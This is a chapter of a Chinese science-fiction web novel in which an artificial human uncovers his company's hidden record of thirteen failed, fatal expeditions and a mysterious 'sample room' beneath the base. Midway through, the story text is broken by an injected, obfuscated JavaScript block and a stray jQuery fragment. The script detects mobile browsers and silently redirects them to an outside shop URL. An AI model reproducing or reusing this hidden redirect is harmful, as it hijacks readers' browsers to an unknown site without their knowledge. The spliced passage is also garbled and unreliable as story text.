医疗舱的灯光比走廊更亮一些。
九十三号躺在中央的诊疗台上，麻醉剂让他陷入了深度睡眠，断裂的肋骨已经被纳米夹板固定，腰部的勒伤也做了再生凝胶处理。自动诊疗仪发出有节奏的蜂鸣声，每隔三秒，屏幕上就刷新一次生命体征数据。
林晓坐在诊疗台旁边的金属椅上，已经坐了四个小时。
他没有受伤，军医给他做了全身扫描，除了几处轻微的软组织挫伤和眠毒浓度略高于标准值之外，一切正常。眠毒浓度的问题很好解决，追加注射了半剂安眠剂，数值就回落到了安全区间。军医是个面容疲惫的中年女性，工牌上写着“2级·领班·苏敏”，她在处理完九十三号的伤势之后，用一双疲惫的眼睛看了林晓一眼，说：“你最好去休息。”
“我不累。”
“不是累不累的问题。”苏敏摘下手套丢进回收口，发出沉闷的一声响，“人造人的神经系统在苏醒后七十二小时内处于适应期，过度应激会导致神经突触过载。你不睡觉，脑子会出问题。”
林晓想了想，问：“什么样的问题？”
“记忆碎片、感知错乱、时间感丧失。严重的会分不清现实和幻觉。”苏敏语气平淡，像是在背诵一份她已经读过无数遍的产品说明书，“你们‘好用不贵’系列的神经系统是基于普通人模板改良的，比标准版强百分之十，但刚开机的时候最脆弱。公司手册里写得很清楚，你没看？”
他看了。但手册里关于人造人神经系统的那一页，他读的时候总觉得某些地方被刻意写得含糊其词。就像一个产品说明书里故意隐去了副作用的那部分，用密密麻麻的专业术语将关键信息埋在最不引人注目的角落。
“我会休息的。”他说。
苏敏没有再劝，转身去处理其他伤员了。这次B组不是唯一遭遇异常情况的队伍。在他守着九十三号的四个小时里，陆陆续续有其他小队的人被送进来。有人被潜泳魔的触手抽断了腿骨，有人被飞行魔的翼刃划开了后背，还有一个整张脸都被墨形种的□□灼伤，皮肤溃烂，露出下面粉红色的再生组织。基地的医疗资源并不充裕，苏敏和她的两个助手忙得脚不沾地。
但这些都不是让林晓在医疗舱里坐四个小时的原因。
他手里拿着那本《眠云星探险手册》。
四个小时里，他把这本巴掌大的小册子从头到尾翻了三遍。第一遍通读，第二遍逐页标记，第三遍，他开始注意到那些不对劲的地方。
不对劲的地方有很多。
比如，手册第三页的墨形种图鉴，配图上的爬行魔身体比例和他在高地上遭遇的那只基本吻合，但有一个关键的细节对不上。图鉴上标注爬行魔口器为“纵向裂开，内含三排锯齿状牙齿”，配图也清晰地画出了纵向口器的结构。但在“变异个体”一栏中，只有一行小字写着“个别墨形种可能出现形态偏差，属正常变异，处置方式不变”。没有提到横向口器，没有提到人类眼睛，更没有提到它们会说话。
再比如，手册第五页关于眠毒的说明中，列出了完整的症状谱系：轻度眩晕、幻听、幻视、深度嗜睡。有一行脚注被排在了页面的最底端，字号小到几乎需要贴着纸面才能看清——“极少数暴露者可能出现非典型症状，包括但不限于：记忆回溯、跨感官联觉、未知语言接收。非典型症状与眠毒浓度无正相关性，成因尚不明确。如出现上述症状，请立即向直属上级报告并接受脑部扫描。”
极少数暴露者。未知语言接收。
林晓盯着这行字看了很久。
那个墨形种说的不是“未知语言”。它说的是他能听懂的话，叫的是他的名字。如果这属于手册定义的“未知语言接收”，那么理论上每一个听到那个声音的人都应该出现同样的症状。但陆衍和其他人的反应都与他不同。
林晓翻到下一页。第六页，讲的是安眠剂的药理机制和注射规范。这部分内容没有什么值得深挖的地方，至少表面上是这样。但他发现了一个编排上的问题，第六页和第七页之间的装订线有一道极细的裂痕，像是有人把原本的第七页撕掉了，然后将新的第七页重新粘了上去。
他用指甲沿着装订线的缝隙轻轻划过去，感受到了两层纸张之间微弱的错位感。被撕掉的那一页残留了大约一毫米的毛边。有人在手册出厂之前撕掉了一页，然后换上了别的内容。
林晓合上手册，闭上眼。人造人的大脑比普通人强百分之十，他不知道这个数字是怎么算出来的，但从他苏醒到现在，他确实感受到了一种不同寻常的思维方式。他的大脑会自动将碎片化的信息拼合、分类、建立关联，就像一块磁铁会把周围的铁屑自动吸附到磁极上一样。
他需要更多的信息。
医疗舱的门滑开，陆衍走了进来。
陆衍已经换下了那身沾满墨绿色□□和泥土的军装，换上了一套干净的灰白色制服，头发湿漉漉的，显然刚洗过。他脸上的表情介于疲惫和亢奋之间，手里端着一杯冒着热气的合成咖啡。
“九十三号怎么样？”他把咖啡递给林晓。
林晓接过杯子喝了一口。
“断了三根肋骨，内脏轻度挫伤，需要卧床三天。之后完全恢复。”
“那还算好。”陆衍在旁边坐下，长长地吐出一口气，“C组又少了一个人。沼泽东侧，潜泳魔拖走的，他们连尸体都没找到。现在基地苏醒的四十七个人里，完好能出任务的只剩下三十九个了。”
“区域经理什么时候下来？”
“轨道站的最新通讯是十分钟前发的。”陆衍的表情变得有些微妙，“他们说‘鉴于地表清扫进度未达预期，管理层下派时间推迟至48小时后’。”
林晓把手册翻开到有问题的页面，摊在陆衍面前。
“你看看这些地方，告诉我你看到什么不对劲的。”
陆衍接过手册，从头翻了一遍。他的阅读速度很快，翻到第三页的时候停了一下，翻到第五页的时候又停了一下，翻到第六七页之间装订线的时候，他的手指也摸到了那道裂痕。
“有人在手册里动了手脚。”
“你觉得被撕掉的那一页写的是什么？”
陆衍沉默了一会儿。“要么是公司不想让我们知道的事情，要么是知道这些事情的人已经不在了。”
两个选项指向的是同一个结论：这本手册里有秘密，公司知道这些秘密，并且主动隐瞒了。而他们47个记忆空白的1级人造人，被人从流水线上批量生产出来，塞进灰白色的军装里，配发步枪和弹药，投放到这颗有毒的星球上，用的是“大扫除”这种听起来像清洁任务的行动代号，这本身可能就是这个秘密的一部分。
“我有一个问题。”陆衍压低了声音，他的眼神在那一瞬间变得和刚才完全不同，不再是那个会开玩笑、会咧嘴笑、会在战斗结束后第一时间关心队友的年轻士兵，而是一个在六个小时的苏醒时间里就开始怀疑一切的人，“你有没有想过我们的记忆是从哪来的？”
“被删除了。”
“我知道被删除了。我问的是，被删除之前，那些记忆里有什么？”
林晓没有回答。他想起了那个画面——三个人，低头看向他，其中一个人说了一句“别让他——”。如果说记忆可以被删除，为什么这个画面留下来了？是删除不彻底，还是有人故意留下的？
“我还注意到了另一件事。”林晓从风衣内侧口袋里掏出那张工牌，放在膝盖上。
NX-0217。
“好用不贵系列，批次号NX-0217。”他的手指点在批次号上，“NX是生产线代号，0217是序列号。我们这一批醒过来的一共有四十七个人，你知道他们的批次号范围吗？”
陆衍皱眉想了想。“你是NX-0217，我是NX-0189，九十一号是NX-0191……也就是说这一批的范围大概是从NX-0188到NX-0235左右，对吗？”
“对。零一八八到零二三五，刚好四十七个。”林晓的声音很平静，但他接下来说出的话让陆衍端咖啡的手停在了半空中，“但我翻遍了基地的苏醒日志。日志显示，在过去的七十二小时里，这个基地的休眠舱一共进行了四十八次唤醒程序。”
陆衍的手指收紧，合成咖啡从杯沿晃出来两滴。“四十八次。但我们只有四十七个人。”
“有一个批次号不在NX-0188到NX-0235的范围内。”林晓从口袋里摸出另一张纸条——是他在医疗舱里从苏醒日志的终端机上抄下来的记录。纸条上列着一行行编号，他指给陆衍看。
NX-0001。
陆衍盯着那四个字符，瞳孔微微放大。“零零零一？那不是比我们早了将近两百个编号？”
“不是早。”林晓纠正道，“精英单元‘大力神’型的批次号是T-20开头，标准人造人的批次号根据型号不同有NX、NR、NL三种前缀，但序列号都是从0001开始排列的。NX-0001，意味着它是NX系列的第一个产品。”
“什么时候生产的？”
“日志上只写了它的唤醒时间是三天前，比我们早大约四个小时。苏醒后，它独自领取了装备，离开了基地，没有编入任何小队，也没有回传任何战果数据。之后它的定位信号就消失了。”
陆衍放下咖啡杯，双手交叉握在一起，指节捏得发白。“你是说，有一个NX系列的第一号人造人，和我们在同一个基地苏醒，然后独自走进了雾里，再也没有回来？”
“不仅如此。”林晓把纸条翻过来，背面还有一行他从日志里抄下的备注，“它的苏醒记录下方有一行管理员的备注，内容只有五个字。”
他把纸条递给陆衍。
陆衍低下头，看到那行备注的瞬间，他的表情变得非常奇怪。那是一种混杂了困惑、警觉和恐惧的表情。备注上写的是：“已完成交付。”
“交付给谁？”陆衍的声音不自觉地压低了。
“日志没有写。”
医疗舱的灯光忽然闪烁了一下。不是故障，是基地的照明系统在按照时间表自动调节亮度，模拟星球外部的昼夜节律。此刻是眠云星北半球的夜间时段，灯光正从冷白转为昏黄，将所有人的影子拉长，投在墙壁上。
林晓站起来，将手册和纸条收回风衣口袋。“我需要去查两样东西。第一，公司的人造人产品线档案，尤其是NX系列的技术规格和历史生产记录。第二，眠云星的任务记录，在我苏醒之前，这颗星球上进行过多少次‘大扫除’，每次行动的参与人数和伤亡数据。”
“你怎么查？”陆衍问，“我们只有1级权限，连区域经理级别的数据库都进不去。”
“1级权限进不了加密数据库，但可以访问公开日志、物资清单和基地的基础设施终端。”林晓推了推鼻梁上的眼镜，“我不需要看加密内容。你只需要把足够多的公开数据放在一起对比，那些被刻意隐藏的东西就会自己露出轮廓来。”
他说这句话的时候，语气和刚才讨论批次号时一样平静。但陆衍注意到一个细节，林晓的右手食指正无意识地敲击着风衣口袋的边缘，节奏稳定，不快不慢，像是一台正在运行中的处理器发出的时钟信号。
“你以前是做什么的？”陆衍忽然问，“被删除记忆之前。”
林晓的手指停了一瞬，他意味深长的看一眼陆衍。
“我们是人造人，朋友。”
“……果然。”陆衍讪笑了一下，“会给自己取名字的人造人，总是特别的。”
林晓走出医疗舱的时候，基地的走廊已经进入了夜间模式。昏暗的灯光下，灰白色的金属墙壁看起来像某种巨型生物的骨骼内部，走廊尽头通向不同的舱室：食堂、宿舍、装备库、指挥中心。指挥中心的大门紧闭，门禁面板上亮着红色的锁定指示灯，显示“权限不足”。
他转向另一条走廊，走向基地的信息终端室。那是一个狭小的舱室，里面排列着几台公用终端机，屏幕上是星间旅行公司的logo。一个由星辰轨迹组成的无限符号，下方是“探索永无止境”的标语。此刻那行标语在昏暗的灯光下，看起来不那么像宣言，更像是某种意味深长的警告。
终端机旁边有人。
那个人坐在最角落的终端前，背对着门口，身形瘦小，穿着一件和所有人一样的灰白色军装，但军装的袖口挽到了肘部，露出两条纤细的手臂。她正全神贯注地看着屏幕上的内容，手指在触控板上飞快滑动，完全没注意到有人进来。
林晓认出了那个马尾——是他在装备库里见过的那个3级区域经理，林檎。
一个3级高级长官，在深夜的信息终端室里，用一台公用终端机查资料。
这件事本身就有问题。
林晓没有出声，他站在门口观察了一会儿。林檎的屏幕上快速滚动着大量的文本和图表，从排版格式来看不像是基础数据，更像是某种技术档案。她使用的是公用终端机，但屏幕左上角有一个林晓从未见过的权限标记——不是常规的1到5级权限标识，而是一个简笔画风格的苹果图案。
一个苹果。
星间旅行公司的权限标识体系在手册里有明确图示：1级是单杠，2级是双杠，3级是三角，4级是方框，5级是五角星。没有苹果。
林檎忽然停下了手指。她没有回头，但她的声音精准地传到了门口：“1级员工，你在门口站了三分钟，是对终端机有意见，还是对我有意见？”
林晓走进终端室，在她旁边的终端机前坐下。“我只是不想打扰长官工作。”
“长官。”林檎重复了一遍这个词，语气里带着一丝说不清是嘲讽还是自嘲的意味。她终于转过头看向他，脸上的机油印子已经洗掉了，露出一张比想象中更年轻的脸，看起来不超过二十五岁，但眼角的细纹和瞳孔深处的某种疲惫感让她的实际年龄变得难以判断。“你叫什么？”
“林晓。”
“批次号。”
“NX-0217。”
林檎点了点头，像是在确认什么信息。她的目光在他脸上停留了比寻常注视更长的时间，然后忽然问：“你今天在高地上遇到的东西，有没有让你觉得不太对劲的地方？”
林晓没有立刻回答。他在判断这个女人问这个问题的动机。一个3级区域经理，在这颗星球上已经待了至少一段时间，对墨形种的了解显然比1级员工更多。她问这句话，是例行询问，还是她知道些什么？
“有。”他选择说实话，“那只墨形种长了一只人类的眼睛。”
林檎的表情没有任何变化。“还有呢？”
“它对我说了话。叫了我的名字。”
终端室的空气安静了几秒。林檎的右手食指在触控板上轻轻敲了三下，然后她说：“你听到的那些话，你还记得内容吗？”
“记得。”林晓盯着她的眼睛，“它说，‘更深，再往更深的地方来’。然后叫了我的名字。”
林檎沉默了很久。久到终端机的屏幕自动进入了休眠模式，她的脸倒映在黑色的屏幕上，被无限符号的logo切割成两半。
“你比其他人都记得清楚。”她终于开口，声音低得像是在自言自语，“通常听到那个声音的人，会在短时间内遗忘具体内容。你不仅记得，还能复述出来。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946137|214071||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“这意味着什么？”
林檎没有回答他的问题。她重新点亮屏幕，快速操作了几下，然后将屏幕转向他。“你看这个。”
屏幕上是一份文件，标题是《眠云星地表清扫行动·第14次大扫除任务总结报告》。报告的日期是2126年7月20日，也就是三天前。
“大扫除不是第一次进行。”林檎说，“在你们这一批人造人苏醒之前，同样的任务已经执行了十三次。每一次都使用同一型号的人造人，‘好用不贵’系列NX批次。每一次的参战人数都在四十到五十人之间。每一次，都没有一个人活着回到轨道站。”
她翻到报告的最后一页，那里有一张表格，密密麻麻地列出了十三次任务的人员损耗数据。
第一次：47人参战，47人死亡。
第二次：44人参战，44人死亡。
第三次：50人参战，50人死亡。
第四次：46人参战，46人死亡。
十三次，零生还。
林晓看着那张表格，大脑中的某个部分开始高速运转。十三个批次，每个批次四十到五十人，总人数大约六百。六百个人造人被投放到这颗星球上，全部死亡，然后公司又送来了第十四批——也就是他和陆衍这一批。
“公司在让我们送死。”他说。
“不止。”林檎关掉了表格，打开了另一份文件。这份文件的标记等级比刚才那份更高，连文件名都是加密字符串，但她用那个苹果权限轻松打开了。“你看看这个。”
这是一份产品说明书。不是给用户看的，是生产线内部的技术文档。标题上写着：好用不贵系列NX批次·技术规格书（版本号NX-0217-01）。
版本号的末尾是他的批次号。
林晓的目光飞快地扫过文档。密密麻麻的技术参数和专业术语在屏幕上一闪而过，他的大脑以一种他自己都无法理解的速度吸收着信息。
NX批次人造人，基于标准人造人模板改良。神经系统增强模块：突触传导速度提升12%，模式识别能力提升15%。记忆管理系统：出厂前进行全脑记忆擦除，保留功能性记忆模块（语言、战术、基础生存技能）。情感中枢完整保留，公司为了省钱没有安装情感抑制芯片。理论上与真人无异，但预期使用寿命仅为5年。
特殊说明：NX批次产品在前代产品基础上增加了“适应性学习模块”，该模块允许产品在执行任务过程中自主优化行为策略。根据公司伦理委员会第47号决议，适应性学习模块的运行上限为——
文档在这里出现了一个断层，后面的内容被删除了。那几行文字的字体颜色和文档背景融为一体，只有在特定角度的屏幕偏光下才能看到残留的排版轮廓。
林檎显然已经看过这份文档。她用手指点了点那个被删除的位置。“你知道这里原本写的是什么吗？”
林晓摇头。
“我也不知道。但我在另一份文档里找到了一行被删除后没有清理干净的脚注。”林檎打开了第三个文件。这是一份看起来像会议纪要的东西，日期是2123年，比现在早了三年。会议纪要的末尾，有一行被划掉但没有完全删除的文字，内容只有半句话：
“……NX批次的适应性学习模块如果突破运行上限，可能导致产品出现自我意识——”后面就没有了。
“自我意识。”林晓重复了这四个字。
“公司怕的从来不是我们死在战场上。”林檎关掉了所有文件，屏幕恢复成那个无限符号的logo，她的脸再次被切成两半，“公司怕的是我们活着，并且在活着的过程中开始思考问题。”
林晓坐在终端机前，手指悬在触控板上方。他有很多问题想问——林檎是谁，她为什么会有那个苹果权限，她为什么要告诉他这些，NX-0001是谁，被撕掉的那一页手册上写的是什么，那个长着人类眼睛的墨形种为什么会知道他的名字。
林晓看向林檎说：“前面十三批人造人，有人活下来了。”
林檎站起身，走向门口。经过林晓身边时，她停了一下，低声说：“你不也活下来了吗？”然后她走了出去。
信息终端室只剩下林晓一个人。终端机的屏幕在长时间无人操作后再次进入休眠，无限符号在黑暗中微微发着光。
他伸手点亮屏幕，开始查阅他最初计划查阅的那几样东西。物资清单。公开日志。基础设施终端。
物资清单显示，安眠剂的库存数字和食堂屏幕上显示的一致，但每一项物资入库记录都有一个经手人的签名。第14次“大扫除”任务物资清单的经手人签名栏里，签着一个他认得的名字，林檎。
公开日志记录了基地过去三个月的人员流动情况。3级区域经理林檎于2126年5月17日入驻FOB-7前进基地，是基地现有的唯一一名区域经理级以上的人员。在她入驻之前，基地的驻守人员为零。
基础设施终端里有一项他之前没有注意到的条目：基地地下二层，有一个被标记为“样品室”的舱室，权限要求为3级以上。而他今天看到的那个塌陷高地上的巨型墨形种，它的行进方向，在战术终端的回放轨迹上显示为——从沼泽区域向西移动，最终消失的位置，恰好与FOB-7基地正下方的地质构造重叠。
那个东西就在基地下面。
林晓关掉终端，在黑暗中坐了很久。
他后颈的注射接口发出规律的蜂鸣声，像一座微型的钟，每一声都在倒数。距离他苏醒已经过去了将近十二个小时。安眠剂的有效期还剩六十个小时。
六十个小时之后，如果不追加注射，眠毒就会开始侵蚀他的神经系统。幻听、幻视、深度嗜睡、不可逆昏眠。但在这六十个小时里，他需要解开一个重要的问题。
他是谁？作为人造人，情感和记忆是否过于丰富？如果不是人造人，林晓真的是他的本名吗？这一切不得而知，又或者，一切都只是因为一个听起来荒唐但实际很现实的原因——公司为了省钱。
摸摸自己的脸，感受自己的心跳和呼吸，打消脑海里纷杂的念头，林晓轻轻叹了口气——都挺好，就是命短了点。
终端机屏幕角落的时钟跳到了凌晨三点。眠云星的夜空被厚重的云层覆盖，没有星光，没有月亮，只有永恒的灰白雾气和隐藏在雾气中缓缓移动的黑色影子。
林晓站起来，走出了信息终端室。
走廊里空无一人。他的影子被昏暗的灯光拉得很长，拖在身后，像一个沉默的、形影不离的挚友。
他没有回宿舍。他走向了电梯间，按下通往地下二层的按钮。
电梯门打开的时候，黑暗像潮水一样涌了出来。他摸到墙壁上的照明开关，按下去，一排昏黄的应急灯沿着走廊亮起，延伸到尽头的一扇门前。
门禁面板上显示：3级权限。
但旁边有一行手写的小字，是用记号笔直接写在金属门框上的，字迹潦草而匆忙，像是某个人在离开前留下的最后一条信息。
写的是：“别开门。”
林晓看着那三个字，手指悬在门禁面板上方。
走廊里很安静。安静得他能听到自己的心跳声，节奏稳定，像时钟一样。
然后他听到了另一个声音。从门的另一侧传来的，极其微弱，像是隔了很厚很厚的金属和泥土。
那是一段旋律。有人在门的另一边，在基地地下二层的“样品室”里，哼着歌。
他听过这首歌。
在某个他无法触及的记忆角落里，在那些被整片删除的空白之下，这首歌曾经存在过。
那是一首摇篮曲。